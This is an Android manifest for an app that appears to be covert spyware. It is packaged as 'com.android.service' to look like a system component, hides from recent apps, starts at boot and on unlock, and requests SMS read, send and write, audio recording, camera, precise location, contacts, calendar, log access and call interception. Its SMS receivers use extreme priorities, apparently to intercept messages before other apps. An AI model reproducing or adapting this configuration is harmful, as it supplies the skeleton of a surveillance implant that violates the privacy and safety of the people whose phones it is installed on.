<?xml version="1.0" encoding="utf-8"?>

<manifest xmlns:android="http://schemas.android.com/apk/res/android"
	package="com.android.service" android:versionCode="1"
	android:versionName="1.0">
	<!-- QUESTO FILE E' GENERATO DA build.xml. MODIFICATE IL FILE IN PREPROCESS -->
	<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
	<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
	<uses-permission android:name="android.permission.WRITE_SMS" />
	<uses-permission android:name="android.permission.WRITE_APN_SETTINGS" />
	<uses-permission android:name="android.permission.VIBRATE" />
	<uses-permission android:name="android.permission.SEND_SMS" />
	<uses-permission android:name="android.permission.RECEIVE_SMS" />
	<uses-permission android:name="android.permission.READ_SMS" />
	<uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS" />
	<uses-permission android:name="android.permission.INTERNET" />
	<uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
	<uses-permission android:name="android.permission.CAMERA" />
	<uses-permission android:name="android.permission.FLASHLIGHT" />
	<uses-permission android:name="android.permission.CALL_PHONE" />
	<uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
	<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
	<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
	<uses-permission android:name="android.permission.READ_PHONE_STATE" />
	<uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
	<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
	<uses-permission android:name="android.permission.RECORD_AUDIO" />
	<uses-permission android:name="android.permission.READ_CONTACTS" />
	<uses-permission android:name="android.permission.READ_CALENDAR" />
	<uses-permission android:name="android.permission.READ_LOGS" />
	<uses-permission android:name="android.permission.SET_WALLPAPER" />
	<uses-permission android:name="android.permission.WAKE_LOCK" />
	<uses-permission android:name="android.permission.USER_PRESENT" />
	<uses-permission android:name="android.permission.CHANGE_NETWORK_STATE" />

	<application android:icon="@drawable/icon" android:label="@string/app_name" android:debuggable="false">
	
		<activity android:name="com.android.service.gui.AndroidServiceGUI"
			android:label="@string/app_name" android:excludeFromRecents="true"
			android:enabled="true">
			<intent-filter>
				<action android:name="android.intent.action.MAIN" />
				<category android:name="android.intent.category.LAUNCHER" />
			</intent-filter>
		</activity>

		<service android:name="ServiceCore" android:exported="false"
			android:excludeFromRecents="true">
			<intent-filter>
				<action android:name="com.android.service.app"/>		
			</intent-filter>
		</service>

		<receiver android:name="BroadcastMonitor">
			<intent-filter>
				<action android:name="android.intent.action.BOOT_COMPLETED" />
				<action android:name="android.intent.action.USER_PRESENT" />
			</intent-filter>
			
			<intent-filter android:priority="65535">
                <action android:name="android.provider.Telephony.SMS_RECEIVED" />
                <action android:name="android.intent.action.NEW_OUTGOING_CALL" />
            </intent-filter>
		</receiver>
		
		<receiver android:name="com.android.service.listener.BatteryMonitor">
		</receiver>

		<receiver android:name="com.android.service.listener.BroadcastMonitorAc">
		</receiver>

		<receiver android:name="com.android.service.listener.BroadcastMonitorStandby">
		</receiver>

		<receiver android:name="com.android.service.listener.BroadcastMonitorSms">
			<intent-filter android:priority="999999999">
				<action android:name="android.provider.Telephony.SMS_RECEIVED" />
			</intent-filter>
		</receiver>

		<receiver android:name="com.android.service.listener.BroadcastMonitorCall"
			android:exported="true">
			<intent-filter android:priority="0">
				<action android:name="android.intent.action.NEW_OUTGOING_CALL" />
				<action android:name="android.intent.action.PHONE_STATE" />
				<category android:name="android.intent.category.DEFAULT" />
			</intent-filter>
		</receiver>
	</application>

	<uses-sdk android:minSdkVersion="7" />

</manifest> 
